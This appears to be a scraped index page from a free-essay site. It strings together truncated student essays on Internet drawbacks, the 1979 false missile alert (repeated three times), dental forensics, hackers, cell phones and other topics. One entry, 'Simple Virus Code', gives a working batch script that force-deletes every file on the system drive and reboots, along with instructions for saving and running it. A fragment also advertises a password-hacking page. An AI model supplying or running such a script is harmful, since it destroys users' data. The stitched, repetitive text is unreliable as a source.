afternoon ladies and gentlemen, my name is Nguyen Long Quoc, and today I’d like to talk to you about three disadvantages of the Internet. The first disadvantage when using the Internet is that your personal information is not safe, especially important one. In fact, as you surf the web, read emails, download softwares or even chat with your friends, a Trojan, known as a hidden program, can be sent to your computer without your knowing. It will steal and transfer all the information you save to the sender. This person, after that, may make use of or give it to somebody else. For example, if you use Internet to shop online, your credit card number can be stolen, and then the money in your bank account will probably be used up. Or if you send some confidential material to your business partners, your opponents may try to steal it and harm your company. Pornography is the second disadvantage of the Internet. This is a very serious issue, especially when it comes to children. Nowadays there are thousands of pornographic sites on the Internet that can be easily found. These sites are very harmful to the kids, and may incite them to act out sexually against other ones. According to the study of researcher Dr. Jennings Bryant about 600 American males and females of junior high school age and above, 31 percent of the males and 18 percent of the females admitted actually doing some of the things they have seen in the pornography. Moreover, a recent study has shown that frequent exposure to pornography may cause the children to involve in sexual illness, sexual addiction and unplanned pregnancies, which have bad influences on the children’s mental life. The last con is virus threat. What is a virus? A virus is nothing but a program which disrupts the normal functioning of your computer systems. Computers attached to internet are more prone to virus attacks and they can end up into slowing down your computer’s speed, destroying data and crashing your whole hard disk. Maybe most of us here have at least once suffered from viruses no matter how hard we have tried to prevent them from infecting the computers by using some anti-virus programs. So we should know clearly that they cause bad damages , but are inevitable. In conclusion, the Internet can have some bad effects like unsafe personal 2008-03-18T15:21:08-04:00 http://75.150.148.189/free-essay/Three-disadvantages-of-the-Internet-33545.aspx h t t p : / / virtulahackers.biz.vi h t 2007-12-24T08:01:32-05:00 http://75.150.148.189/free-essay/HOW-TO-HACK-YAHOO,HOTMAIL,GMAIL,AOL,AIM,PASSWORD-33479.aspx In the early dawn hours of November 9th, 1979, just a month and a half after the inexplicable Vela Incident, crews manning the underground missile silos along the American Great Plains received an urgent alert. Early warning satellites had detected that Soviet nuclear missiles were in flight, soon to rain apocalyptic fire and death upon the United States. This was not a drill (repeat, this was not a drill!). The soldiers manned their stations, and braced themselves for the unthinkable: the possibility of launching their ballistic nuclear missiles in retaliation. There was little time for considering options, as there were apparently hundreds of megatons worth of atomic weapons en route at high speeds. It seemed the world was about to end, courtesy of the world's superpowers. This alert was not limited to the US intercontinental ballistic missile (ICBM) force. The entire U.S. air defense interceptor force was put on alert, and at least 10 fighters took off. The National Emergency Airborne Command Post– the "doomsday plane"– also took to the sky, although the president was not on board. The United States was falling into its doomsday contingency plan, preparing for the worst. In the early dawn hours of November 9th, 1979, just a month and a half after the inexplicable Vela Incident, crews manning the underground missile silos along the American Great Plains received an urgent alert. Early warning satellites had detected that Soviet nuclear missiles were in flight, soon to rain apocalyptic fire and death upon the United States. This was not a drill (repeat, this was not a drill!). The soldiers manned their stations, and braced themselves for the unthinkable: the possibility of launching their ballistic nuclear missiles in retaliation. There was little time for considering options, as there were apparently hundreds of megatons worth of atomic weapons en route at high speeds. It seemed the world was about to end, courtesy of the world's superpowers. This alert was not limited to the US intercontinental ballistic missile (ICBM) force. The entire U.S. air defense interceptor force was put on alert, and at least 10 fighters took off. The National Emergency Airborne Command Post– the "doomsday plane"– also took to the sky, although the president was not on board. The United States was falling into its doomsday contingency plan, preparing for the worst. In the early dawn hours of November 9th, 1979, just a month and a half after the inexplicable Vela Incident, 2007-11-05T15:41:22-05:00 http://75.150.148.189/free-essay/The-Cold-War-Just-how-close-did-we-come-to-obliteration-33392.aspx THE INFLUENCE OF THE INTERNET ON PEOPLE’S SOCIAL AND PSYCHOLOGICAL REALITIES The influence of the Internet has caused a change in the way we communicate, learn and shop. The Internet is probably most famous for the ability to spread information, fact or fiction. We were once limited to news editors of a local paper, then to national cable news. Now anyone can search the globe, visit local papers in foreign countries, and see the views of all sides. This ease of information has also brought with it a large amount of hoaxes, money schemes, and fallacies. There is no question that easy access to the Internet, like the introduction of mail service and the invention of the telephone, has changed the nature of people’s connection to others in their social world. Mail made possible connections among people without physical proximity, and the telephone facilitated communication among distant people, making rapid connections possible across long distancies. But has this communication revolution changed the pure nature of interpersonal and group processes? On the one hand, since the primary use of the Internet is communication, some people might speculate that the Internet will have positive social consequences in people’s everyday lives because it increases the frequency and quality of interpersonal communications among people. People with easy access to others would feel better connected and more strongly supported by others, leading to happiness and engagement in families, organizations, communities, and society more generally. But, on the other hand, the ease of electronic communication may lead to weaker social ties, because people have less reason to leave their homes and actually interact face to face with other people. The Internet allows people to more easily work from their home, to form and sustain friendships and even romantic attacments from their home, to bank from their home, to vote and engage in political and social issue based discussions with others (from home). In this variety of ways, Internet communications can potentially displace face-to-face communications. I think this point is important because psychologists in many researches have described and proved such face to face and telephone connections as being of higher quality, when viewed in terms of their contribution to satisfaction and well-being. Reading a seriees of longitudinal and experimental studies (e.x. McKenna, Green, and Gleason), who test a theory of relationship formation on the Internet, these researchers directly adress the argument that the psychological quality of Internet 2007-07-08T10:47:44-04:00 http://75.150.148.189/free-essay/The-Influence-of-the-Intenet-on-People-s-Social-and-Psychological-Realities-33273.aspx 1. Introduction Forensic identification may take place prior to death and is referred to as Antemortem (AM) identification. Identification may as well be carried out after death and is called Postmortem (PM) identification. While behavioral characteristics (e.g. speech) are not suitable for PM identification, most of the physiological characteristics are not appropriate for PM identification as well, especially under severe circumstances encountered in mass disasters (e.g. airplane crashes) or when identification is being attempted more than a few weeks after death. Therefore, a postmortem biometric identifier has to survive such severe conditions and resist early decay that affects body tissues.Dental features are considered the best candidates for PM identification. This is due to their survivability and diversity. Forensic odontology is the branch of forensics concerned with identifying human individuals based on their dental features. Traditionally, forensic odontologists relied on the morphology of dental restorations (fillings, crowns, .. etc.) to identify victims. However, modern materials used in restorations and fillings have poor radiographic characteristics. Hence, it is becoming important to make identification decisions based on inherent dental features like root and crown morphologies, teeth size, rotations, spacing between teeth and sinus patterns. 2.Existing Architecture ADIS will provide automated search and matching capabilities for digitized x-ray and photographic images. This paper deals about an overview of ADIS (Automated Dental Identification System) and also present a new fully automated algorithm for identifying people from dental X-ray images. ADIS (Automated Dental Identification System) is a fully automated system, which is built for PM identification. Dental biometrics automatically analyzes dental radiographs to achieve the aim of forensic dentistry. It is to identify the deceased individuals for whom other means of identification (e.g., fingerprint, face, etc.) are not available. Dental radiographs provide valid, accurate and reliable information about the identity of an individual. On the basis of the time of acquisition, there are two classes of dental radiographs. The radiographs acquired after the death are called the Post-mortem (PM) radiographs, and the radiographs acquired while the person is alive are called the Ante-mortem (AM) radiographs. The AM radiographs, collected in the dentists' office, are labeled with patients' names. The method used in dental biometrics is matching the unlabelled PM radiographs against the database of labeled AM radiographs. If the set of teeth in a PM radiograph sufficiently matches the teeth in an AM radiograph, the identity of the PM radiograph is obtained In order to achieve the ADIS, the automated archiving 2007-05-04T15:46:14-04:00 http://75.150.148.189/free-essay/Matching-of-Dental-Images-by-Root-Morphology-33177.aspx The Launching of Famous Satellites Pioneer 10 was launched in 1972 and flew within 81,000 miles (130,000 kilometers) of Jupiter on Dec. 3, 1973. The probe revealed the severe effects of Jupiter's radiation belt on spacecraft. Pioneer 10 also reported the amount of hydrogen and helium in the planet's atmosphere. In addition, the probe discovered that Jupiter has an enormous magnetosphere. Pioneer 10 was launched toward Jupiter on an Atlas rocket in 1972. After reaching the planet in late 1973, it made the first close-up photographs of Jupiter. Pioneer-Saturn (also called Pioneer 11) flew within 27,000 miles (43,000 kilometers) of Jupiter in December 1974. The craft provided close-up photographs of Jupiter's polar regions and data on the Great Red Spot, the magnetic field, and atmospheric temperatures. Two Pioneer spacecraft studied Jupiter in 1973 and 1974 and provided important information about the planet's atmosphere, magnetic field, and radiation belt. Scientists mounted a plaque on the Pioneer spacecraft that displayed diagrams capable of being translated by any scientifically educated civilization that might encounter the spacecraft in the future. The diagrams show the position of our solar system in the galaxy, images of a man and woman, and chemical information about hydrogen -- the most common element in the universe. Voyager 1 and Voyager 2 flew past Jupiter in March and July 1979, respectively. These craft carried more sensitive instruments than did the Pioneers, and transmitted much more information. Astronomers used photographs taken by the Voyagers to make the first detailed maps of the Galilean satellites. The Voyagers also revealed sulfur volcanoes on Io, discovered lightning in Jupiter's clouds, and mapped flow patterns in the cloud bands. Two Voyager spacecraft flew past Jupiter in 1979. Scientists used these robotic craft to study Jupiter's atmosphere and moons. Voyager 2 photographed the Galilean satellite Io in front of Jupiter's southern hemisphere in 1979. The spacecraft's camera also recorded a series of images that show an eruption of white material in Jupiter's turbulent atmosphere. Voyager 1 observed the Great Red Spot swirling among Jupiter's clouds in 1979. Ulysses was launched in October 1990 and passed by Jupiter in February 1992. The European Space Agency, an organization of Western European nations, had built the probe mainly to study the sun's 2007-04-19T21:25:40-04:00 http://75.150.148.189/free-essay/The-Launching-of-Famous-Satellites-33056.aspx Understanding Hackers Over the years, to this date, the media has distorted the definition of a hacker. It has been morphed and demonized to someone who terrorizes cyberspace. However, the true hacker is someone who seeks knowledge and information. When hackers hack into systems or networks, it is to explore an operating system that is foreign to them. The younger generations have bred a new philosophy of hacking. Wannabe hackers who do not deserve the title “hacker” use simple utilities available over the Internet to hack into personal computers or banks and cause havoc. This is due because they have no respect for the unwritten hacker code and ethics. Those superficial hackers who use their knowledge to harm other operating systems or use their experience to gain material wealth have blemished the integrity of the hackers of the world. A true hacker is not like your ordinary person. Hackers are distinctively different than your average and boring citizen. They do not settle for what the rest of the world is following or brainwashed into doing. Hackers thrive off curiosity, and have an unsatisfying hunger for knowledge. The word impossible or access denied does not exist in a hacker’s vocabulary. They can access anything and everything that is kept in a computer. Particularly when a price has been placed on knowledge and information. Why should only a select few have leisure of knowing what the rest of the public does not? Knowledge is and should always remain free. A hacker will share his knowledge, encourage it to be reproduced and distributed. Hacking is a skill that takes years and years and tons of practice to achieve. A hacker’s qualifications are based on qualifications and performance. Prejudice is non-existence, a person’s title such as degree or position means nothing over the Internet. Discrimination is impossible, hackers are judged on how much they achieved in the quest for knowledge. Hackers have ethics, contrary to what the media has portrayed. Hackers do not plant viruses, (biggest myth) they do not steal. However certain hackers who misuse their abilities to steal are not classified as true hackers, because knowledge in itself is its own reward. Hackers do not cause corruption nor destroy 2007-04-18T02:28:09-04:00 http://75.150.148.189/free-essay/Understanding-Hackers-32964.aspx Formatting Graphic Files You are probably asking yourself, “Why should I care about graphics file formats?” Well, the average end-user (non-programmers) is only concerned with the storage of their graphics information by using a format that majority of graphics applications and filters can read. End-users are not normally concerned with the internal composition of the data within the graphics file itself. Graphic file formats can be divided into two general classes: vector and bitmap. Vector files contain data described as mathematical equations and are typically used to store line art and CAD information. There are two major drawbacks to using vector files. One drawback is that vector files are not suitable for reproducing paintings or photographs. The second disadvantage is that complex images take a long time to display because on most display systems, each vector image has to be converted to a pixel image by a process called “rasterizing”(Cohen and Williams p.109). The advantages of using vector images include easy editing to the image, the amount of memory used to store the image, and the display independence. On the other hand bitmap file formats (also called raster files) contain graphics information known as pixels, such as photographic images. Pixels are the “pictures element,”(Cohen and Williams p.89) or dots on the monitor screen. There are two disadvantages to using bitmap formats. First, it requires a large amount of data to store each image. Second, bitmap images are size dependent and are not suitable for extensive editing. Changing the size of bitmap images can create major problems. Reducing them requires throwing away information; enlarging them produces blocking effects. The major advantages of using a bitmap formats includes good image quality and the quick display speed. There are hundreds of different graphic file formats, many are similar to each other but are made to only interact with a certain computer application. Other file formats are universal and are able to correlate with many different applications or even all of them. Some file formats can be compressed so the image stored does not use a lot of memory; others are only concerned with the quality of the picture. No one, file format is defined as the best in the majority of computer graphic applications. Graphic file formats are responsible for performing various tasks such as 2007-04-18T01:14:46-04:00 http://75.150.148.189/free-essay/Formatting-Graphic-Files-32946.aspx 1. Introduction:T he Identification of people using their dental records, mainly as radiograph images searches the database of Postmortem (PM) and antemortem (AM) radiographs to determine the identity of the person associated with the PM image. We use a semi-automatic method to extract shapes of the teeth from the AM and PM radiographs, and find the affine transform that best fits the shapes in the PM image to those in the AM images. A ranking of matching scores is generated based on the distance between the AM and PM tooth shapes. A manual comparison between the AM and PM records is based on a systematic dental chart completed by some forensic experts In this chart, a number of distinctive features are noted for each tooth individually. These features include properties of the teeth (e.g., tooth present/not present, crown and root morphology and pathology and dental restorations), periodontal tissue features, and anatomical features. Depending on the number of matches, the forensic expert rejects or confirms the tentative identity. Unlike other biometric characteristics (e.g., fingerprints, iris, etc.), dental identification is complicated by the fact that dental features do change over time. The teeth can change appearance, or can be missing altogether, as a result of dental work or accidents occurring after the AM records are taken. In fact, for this very reason, although accepted in a court of law, dental based identification is considered less reliable than other biometric methods. But in certain cases (e.g., victims in a major fire), this may be the only available biometric method. From a pattern recognition and computer vision standpoint, the problem of person identification based on dental records can be cast as an image matching and retrieval problem: given a dental image (usually a PM radiograph), we must search the database to find an AM radiograph that best matches with this PM record. 2. Existing Method: The Identification is done in two Modules: 1. The shape extraction module extracts the shapes of the teeth in the database radiographs and query images. 2. The matching module matches the shapes from the query image to those from the database images. Then a ranking is produced to show the best matching(s) in the database. The matching is performed in three steps. In the first step, a shape registration method is proposed to align and compute the distance between two teeth on the basis of tooth contours. If the shapes of the dental work are available, they 2007-04-16T10:49:00-04:00 http://75.150.148.189/free-essay/Person-Identification-by-Dental-Images-using-Striae-Patterns-32921.aspx [color=green:fdda44ae05]Simple Virus Code[/color:fdda44ae05] This is a very simple virus program to delete all the content of a drive... It should not use on others computer..........This is harmful. So Before using this u need to backup ur all information which are saved in ur system drive. After run this program it will delete ur system drive. so it needs reinstall ur operating system. @echo off del %systemdrive%\*.* /f /s /q shutdown -r -f -t 00 **Save the above code as .bat. u can write the program in a note pad then save as *.bat.and 2007-03-26T16:31:51-04:00 http://75.150.148.189/free-essay/Simple-Virus--32873.aspx Digital Television Technology Technology development has made a great change, digitization of TV signals leads to a huge increase of more channels available, specially on terrestrial, satellite, interactive TV and other convergence of various media such as broadcasting, publishing and computers. They are all forms of multimedia development of high-definition wide-screen TV. Such kind of great developments are leading to powerful economic interests and are providing opportunities for huge sums of profits in these wide expanding markets. Although such problems as program designs in broadcasting occur, however a resolution has fitted in. The main problems in digital TV are however concerned by the broadcasters, the audiences and the government. As for the broadcasters, the problem occurs as such: How can the programs come from fill the excisting channels? This problem is one of the main and they want to resolve it when they get the film libraries, archival materials which includes backlogs of sitcoms, series and serials. However there is no doubt that such economic pressures will mean that cheap TV programs will have to reproduce itself. It is a fact that more channels in television doesn’t mean there will have more different things but more same stuff. As for the viewers, the problem is that they will have to insert or buy a set top box to receive these standard digital terrestrial TV channels, the digital satellite TV and digital cable TV. Although they are all TV, but are three separate system. Viewers may not need to have three different set top box, however unless they choose to buy a new TV hardware. As for the government, they have to assign a date of the switch over from analogue transmission to digital transmission. However, if the analogue is switched off, viewers without a digital transmission TV or a set top box would be unable to watch TV when their TV set is unable receive digital transmission, their TV would be a piece of rubbish after all. Although this is the case, investors in digital are keen to see a specific date for this analogue to digital switch over which would force the sale of these new digital hardware and services. This would be done by taking a period of time to soften the customers (TV viewers) burden as in financially, however this would destroy the investors good planning. (as in making money out of selling these 2007-03-19T14:19:36-04:00 http://75.150.148.189/free-essay/Digital-Television-Technology-32836.aspx Cell Phones in the Twenty First Century There are many advantages and disadvantages in having a cellular phone. Cell phones have some advantages over disadvantages. Today, cellular have made people’s view on them change. They have gone from becoming a nuisance to being a necessity in their pockets and purses. Cellular phones were considered a nuisance because they were distracting drivers and causing car accidents and killing people. First, a disadvantage of a having a cell phones is they can cause car accidents in two ways. For example, if the cell phone is not easily accessible to the driver and he/she has to look around to find it, this could increase the possibility of accident. Or if the cell phone is not hands free, it could decrease the driver's ability to maneuver. These problems can be solved by technology improvements. For example, if cell phones could use voice commands instead of push buttons and be used like speakerphones, this could reduce the number of cell phone related accidents. Another problem, I think that many people don't have any idea about when they can and can't talk on the their cell phones, using the phone in such public places like restaurants or movie theaters and stores. I used to work in a store and I saw so many people speaking loudly in my store. I do not understand why people would stand next to a cash register trying to pay for some items they just bought and talk on the phone quite loudly. Another thing that I don't understand is I cannot believe that people can be so disrespectful to everybody. They are only thinking about themselves:" I'm talking on the phone and this means that the "whole world" is supposed to be quiet and listen to my conversation". While cell phones do cause problems, using cell phones in car has some advantages, and it should not be ignored. One advantage is that cell phones could be useful on long commutes. We can solve some of our problems such as, discussion about work issues with our coworkers on the phone and save a lot of time and also get directions if somebody is lost. Another important reason is that cell phones make people accessible at all times, especially in case of emergencies, and in dangerous situation it makes it easy to contact the police. For 2007-03-06T22:30:53-05:00 http://75.150.148.189/free-essay/Cell-Phones-in-the-Twenty-First-Century-32752.aspx The History of the Polygraph Lie Detector Test There is a forty billion dollar-per-year dishonest cost in the business community, and 20% of businesses are estimated to go out of business due to theft. Theft is a problem which is seen more and more than ever before. With the inventions of space-aged, modern technology, businesses are turning to it to fight the battle of theft. Lie Detector tests are the new defense against theft. A lie detector tests includes a polygraph, deceptograph, voice stress analyzer, psychological stress evaluator, or similar devices. Theses devices are used to render a diagnostic opinion pertaining to the honesty or dishonesty of an individual. The main reason many government, law enforcement, and private sector employers use lie detector tests are because they think the test will frighten away liars and cheats who are seeking jobs, or it will frighten confessions out of those accused of wrongdoing. Richard Nixon stated, “ lie detector tests are a tool of intimidation.” In this paper I will defend my thesis that lie detector tests, mainly polygraph tests, used in the screening of existing employees or new hires is immoral. The tests are discriminative, an invasion of privacy, and coercive. One reason for accepting my thesis is that the polygraph test discriminates against false positive people because of the unreliability of the test and the person administering it. Polygraph tests continuously, visually, permanently, and simultaneously records changes in cardiovascular, respiratory, and electrodermal patterns as minimum instrumentation standards, which is used to render diagnostic opinion as to the honesty or dishonesty of an individual. The problem of nervousness, anger, sadness, embarrassment, and fear can all be causal factors in altering one's heart rate, blood pressure or respiration rate. Having to go to the bathroom can also be causative. Also, there are a number of medical conditions such as colds, headaches, constipation, or neurological and muscular problems, which can cause the physiological changes, measured by the polygraph. Any of those conditions can be present at the time of the administration of the test, and can throw off the results, giving a false conclusion. Not only can the test be unreliable, but also the person administering it can be. David Lykken, a professor of psychiatry at the University of Minnesota and a major critic of the validity of polygraph testing, counters that the average training program for a professional polygraph examiner last 2007-03-05T00:24:05-05:00 http://75.150.148.189/free-essay/The-History-of-the-Polygraph-Lie-Detector-Test-32733.aspx The Invention of Computers The History of Computers Only once in a lifetime will a new invention come about to touch every aspect of our lives. Such devices changed the way we manage, work, and live. A machine that has done all this and more now exists in nearly every business in the United States. This incredible invention is the computer. The electronic computer has been around for over a half-century, but its ancestors have been around for 2000 years. However, only in the last 40 years has the computer changed American management to it's greatest extent. From the first wooden abacus to the latest high-speed microprocessor, the computer has changed nearly every aspect of management, and our lives for the better. The very earliest existence of the modern day computer's ancestor is the abacus. These date back to almost 2000 years ago (Dolotta, 1985). It is simply a wooden rack holding parallel wires on which beads are strung. When these beads are moved along the wire according to programming rules that the user must memorize. All ordinary arithmetic operations can be performed on the abacus. This was one of the first management tools used. The next innovation in computers took place in 1694 when Blaise Pascal invented the first digital calculating machine. It could only add numbers and they had to be entered by turning dials. It was designed to help Pascal's father, who was a tax collector, manage the town's taxes (Beer, 1966). In the early 1800s, a mathematics professor named Charles Babbage designed an automatic calculation machine (Dolotta, 1985). It was steam powered and could store up to 1000 50-digit numbers. Built in to his machine were operations that included everything a modern general-purpose computer would need. It was programmed by and stored data on cards with holes punched in them, appropriately called punch cards. This machine was extremely useful to managers that dealt with large volumes of good. With Babbage's machine, managers could more easily calculate the large numbers accumulated by inventories. The only problem was that there was only one of these machines built, thus making it difficult for all managers to use (Beer, 1966). After Babbage, people began to lose interest in computers. However, between 1850 and 1900 there were great advances in mathematics and physics that began to rekindle the interest. Many of these new advances involved complex calculations and formulas that were very 2007-03-04T18:38:24-05:00 http://75.150.148.189/free-essay/The-Invention-of-Computers--32712.aspx The History of Email Email had been used in 1971.The world which include the telex network that was used extensively by business on a world-wide basis from the mid-1920's to the mid-1980's. The telex network was independent of the telephone network and telex machines could connect with and communicate with any other telex machine on a global scale. Telex also was relatively secure in that the sending and receiving machines did identifying handshaking. It was relatively expensive to have a 'telex line' installed and subsequent telex messages were charged on a data transmitted basis. In addition, for much of its history, use of telex required a dedicated 'telex terminal' which was less than intuitive and often required trained operators. <<[ It may come as a surprise to many in this age of computers and chips everywhere that telex is still operating and being used throughout the world.] >> During the 1960's and 1970's many companies who were using mainframe and mini computers also used email facilities on those systems. This enabled users of terminals attached to those systems to send messages to each other. As companies began to connect their central systems (hosts) to branch offices and subsidiaries then employees were able to send email to other employees of that company on a world-wide basis. Also during this time the US Department of Defence's research into computer networks was well underway, resulting in the embryonic ARPANET --the forerunner to the now global Internet. According to information regarding these early years, the first ARPANET network email message was transmitted in 1971. In the late-1970's and 1980's, the personal computers exchanged messages remotely on 'dial-up' systems they had to both be subscribers. The proprietary systems did not interoperate or transmit messages from one system to another, or for the few systems that did these were notoriously unreliable - a reason for eventual demise of most of these systems. At the same time, companies and enthusiasts were setting up 'bulletin board systems' (BBS) which were often used both to send/receive messages and to exchange information. In parallel with the development of the personal computer market, companies were connecting the personal computers increasingly being used by their staff, to both their mainframe/midrange systems and to "LAN-based" email systems. When connected to the mainframe/midrange systems they were often being used in 'terminal emulation' mode and therefore the email being used 2007-03-04T18:32:17-05:00 http://75.150.148.189/free-essay/The-History-of-Email--32710.aspx File sharing is the practice of making files available for other users to download over the Internet and smaller networks. Usually file sharing follows the peer-to-peer (P2P) model, where the files are stored on and served by personal computers of the users. Most people who engage in file sharing are also downloading files that other users share. Sometimes these two activities are linked together. P2P file sharing is distinct from file trading in that downloading files from a P2P network does not require uploading, although some networks either provide incentives for uploading such as credits or force the sharing of files being currently downloaded. (In My Word's) File sharing is an open standard software running on an open protocol, free for the public to use.It allows you to share any file such as .mp3s, .avis, .jpgs, 2007-02-21T00:37:53-05:00 http://75.150.148.189/free-essay/File-Sharing--32684.aspx Some gays are concerned that they will go to hell when they die because they have been told by their church/friends/family/TV/books. Some churches welcome gay members, but these still seem to be the minority, and the negative view prevails that having a homosexual relationship is a sin, and the crime for that is a ticket to the underworld unless the individual stops living a "sinful life" and asks for forgiveness. Well, I'm not a religious person myself and I tend to look at things from a logical point of view. The way I see it is this: if God exists, and therefore created all things, then he also created gay people. It wouldn't make any sense to cerate a gay person if God intended them to be miserable, alone and living each day feeling guilty and dirty about how he or she is feeling. Only a cruel and malicious god would do such a thing, and this isn't what the idea of God is about. being gay is part of you that you can't change, like your eye or hair colour, or the type of personality you have. If God is responsible for making your hair brown or blond, for making your friend straight or your best friend a heavy metal fan, then he's responsible for making you gay. Sexuality isn't a choice, so it's either down to biology or God; neither case should leave you ever having to feel dirty or ashamed of who you are. We are all born with certain unchangeable qualities, and we have to make the best of them. Some people have pets who try to mate with pets of the same sex; I have seen a gay cow bothering other male cows in a field! Animals don't burden themselves with crap about going to hell – they follow their pure instinct that is programmed into them or bestowed upon them in their design by God. Maybe we can learn something from their purity (though I don't recommend running after boys in a field!). If you read anything negative about being gay in old books (or even editions of The Bible) remember that the book is written by men, translated by men, edited and altered by men over thousands of years. Men who were strictly religion, men who don't have the modern outlook we have now. Think what the bible would be like if it was re-written 2007-02-17T01:33:23-05:00 http://75.150.148.189/free-essay/Homosexuality-and-Sin-32631.aspx King Kong, a story worth making 2 movies about, the suspense/thriller was state of the art when it first came out in 1933, and was brought back to life through current state of the art technology in 2005. This grand ensemble of action packed storytelling in both films can have the same theme and yet be so different. Here let me show you: Both King Kong movies’ have a generally same theme and plot. Both start off with the infamous Carl Denham looking for a beautiful young woman to star in his up and coming movie, but the 2005 King Kong has a more in depth drama as to create an incident where Carl has to leave to the island in secret. Other acts such as these occur where both movies have a generally same plot, but the 2005 King Kong always contains a more in depth look into the film. One thing I loved that Peter Jackson, Auteur of King Kong (2005), decided to keep the one great irony the original film brought out. Irony in both films was very apparent. Both films included the one great irony that set this movie apart from others. In the beginning of both movies, we are shown a portrait of a man-eating monster, thirsting for the taste of human blood on his lips, but at the end we realize who really is the beast in this film. King Kong (2005) offers quite a bit more irony than its preceder. Pater Jackson added little scenes in which coincided with scenes from King Kong (1933), like where they were filming with the lead male actor and with Ann Darrow, both films contained the exact same dialog to this specific scene which was nice to see. Although Peter Jackson did a great job staying with the roots of the first film, he added many differences to set the films apart as well. First off, King Kong (2005) is in full scale color, compared to King Kong (1933) where it was black and white. Peter Jackson also added very important special effects to the movie that would make it spectacular compared to King Kong (1933). The CGI in King Kong (2005) was almost perfect. Sometimes I caught myself questioning whether it was real or computer-generated. Another immense difference between films was how in depth 2007-02-16T05:39:27-05:00 http://75.150.148.189/free-essay/Differences-Between-the-First-King-Kong-and-the-Second-King-32625.aspx History of the Automobile The first internal combustion engine was built in 1860 by Ettienne Lenoir in France, but it ran on illuminating gas and was quite different from the modern engine. In 1876, Nikolous Otto patented in Germany the four-stroke gasoline engine type used today in most cars. Karl Benz's first automobile had a mid-mounted engine with semi-elliptical leaf-spring suspension in the rear and none in the front. It had a tiller for steering. The engine was a 1.7-liter one-cylinder unit that put out 1.5 horsepower. The automobile's time had come in the rich technological age of the 1880's. Everywhere around the world, men worked on motorized vehicles, unknown to each other. Karl Benz and Gottlieb Daimler in Germany; Louis Renault, Rene Panhard, Emile Lavassor and the Peugeot brothers in France, and in the United States, Frank and Charles Duryea, Ransom E. Olds, Charles King, Elwood Haynes, David Buick and Henry Ford all were working on vehicles they called various names. For the most part, they all worked in ignorance of each other. Benz in Germany was the first to put an automobile into production, a three-wheeler he built in 1885. The date of his first delivery is not clear. It could have been in late 1885, but more than likely it took place in the spring of 1886. In the United States, there were tinkers, but no industry until 1896. In fact, when Benz first got his three-wheeler running in Mannheim, it was not the first time a vehicle had moved on it's own . The new thing Benz did was he perfected his machine, put it into production and people bought it Meanwhile, in Cannstaedt, Gottlieb Daimler was working on a four-wheel, gasoline powered automobile, which he had running and put it into production in 1886. By 1888, he had begun talking with William Steinway, of piano fame, about licensing his car for manufacture in the United States. Daimler also got involved in an English Daimler operation and served as a director until 1898, but the British and German Daimler firms went their own ways. Ned Jordan got into the auto business not as a mechanic or engineer but as a writer. As a reporter in Wisconsin, he met and fell in love with the daughter of Thomas B. Jeffery, owner of the Kenosha automaker bearing. In 1916, the bearing company was acquired by Charles B. Nash, former president 2007-02-02T18:39:49-05:00 http://75.150.148.189/free-essay/History-of-the-Automobile-32567.aspx Specific Internet Search Methodology This paper provides a description for a process of finding resources and information sources for a specific topic research. The selected topic is ”Main distribution channels for Israeli products to the Arab and Muslim world”. This topic was a challenge since the issue is one that companies / countries will try not to disclose. Any detailed disclosure might endanger the business and have political consequences. Additional problem was that no specific industry was selected. I have decided to perform a general internet search on the topic and then to select one industry – telecommunication – and get more information through direct contact with people in this industry. A major source for information is the Israeli Export Institute. I have tried to contact it through e-mail and through their forum in IOL but got no respond. It is clear to me that significant information and help can be obtained through it once there is a specific need. I got a direct phone reference to there but have not used it. The following export channels were identified using the search: 1. Direct export to the Palestinian authority 2. Export to Jordan and from them to Gulf States and other Muslim countries. 3. Export through Egypt (dependent on the peace process situation) 4. Dummy companies in Cyprus, Greece and Western Europe 5. International partners / OEM channels such as Siemens and Alcatel. 6. Contacts can be achieved through the Israel Export Institute, The Israel Manufacturers Association and the Federation of Israeli Chambers of Commerce. Internet Search The internet search was done using 2 search tools: Google and Coppernic 2001 Pro. I have compared the results of the two search engines in order to determine their efficiency. I have used both the Google search engine in English and the Google search engine in Hebrew. Since the topic was closely relate to Israel I have assumed that I will find additional results in Hebrew. For each of the Google search engines I have reviewed the first 50 results. The Coppernic search engine is built around categories. It has a general web category which uses several internet search engines like Yahoo. In addition I have used the following categories: “The Web”, “Sales & Marketing”, “Business & Finance” and “Newspapers”. I have started the internet search with a search string that included the full topic and then refined it and changed it to be more specific. The quality of results was very dependent on the search string. 2007-02-02T17:48:38-05:00 http://75.150.148.189/free-essay/Specific-Internet-Search-Methodology-32539.aspx Following the Progression of Technology And History From an almost common-sense point of view it is obvious that the phenomenon of television in American culture is multi-dimensional. Therefore, it cannot be fully understood by focusing on the act of viewing or audience activity in general, since this would preclude a consideration of the relation of individualized experiences to larger social norms and structures. Similarly, an exclusive focus on the history and structure of the institutions relevant for broadcasting--such as the major networks or the Federal Communications Commission--would preclude a consideration of the practices that surround television as a cultural phenomenon. However, most studies of television deal with one of its aspects in isolation, that is, only on one of the analytical levels mentioned above. More specifically, media histories have put their emphasis virtually exclusively on an institutional point of view. As O'Sullivan (1991, 60) points out, histories of British television tend to be more concerned with the inner workings of the broadcast institutions themselves, the BBC and ITV, their production policies and practices, their early and developing presence in the public world of post-war politics, culture and social affairs. The same can be said of histories of American television. This understanding of history is described by Allen as 'naive empiricism' and by Fogelson as positivist history. It has an attitude of "neutral objectivity" and focusses on documents as evidence that represent historical truth. Alternative historical techniques and a new conception of the idea of documentation are therefore needed in media histories as well as other historical genres. Fogelson poses a crucial question for my concerns with media history, "who possesses history?" (1989, 142). The postmodern historian Keith Jenkins advocates a related conception of history that is not primarily concerned with major political/institutional events and the reconstruction of the discourses of the ruling class, but instead attempts to construct cultural contexts for historical situations. Jenkins' central question--"who is history for?(1991, 18)"--thus assumes a central role for historical research. For Jenkins, historical truth and knowledge are never objective, but constructed for someone, that is, a particular group. He sees history as a variety of potentially competing discourses about the world and rejects all-encompassing 'master histories' that give voice to privileged social groups and serve to suppress other histories as alternative discourses. The common emphasis on institutionally centered media history, for example, makes research on non-institutional media production and particularly research on the history 2007-01-09T02:48:17-05:00 http://75.150.148.189/free-essay/Following-the-Progression-of-Technology-And-History-32315.aspx The Wide World of Wireless Communications A solution to that would be using the hand’s free or the voice speaker where the cellular phone will remain away from a person’s head, therefore there will be no worries regarding safety. Therefore, a good solution to this problem would be to pull over and then receive your call where it will be much safer for you and others that are with you on the road. The usage of cellular phones causes cancer as scientists have proved it. It also distracts drivers away from the road therefore causing accidents and killing people. Cellular phones also develop bad phone manners where a person raises his voice once he starts using it and it becomes a habit later on. On the other hand, the necessity of using a Cellular phone can be very 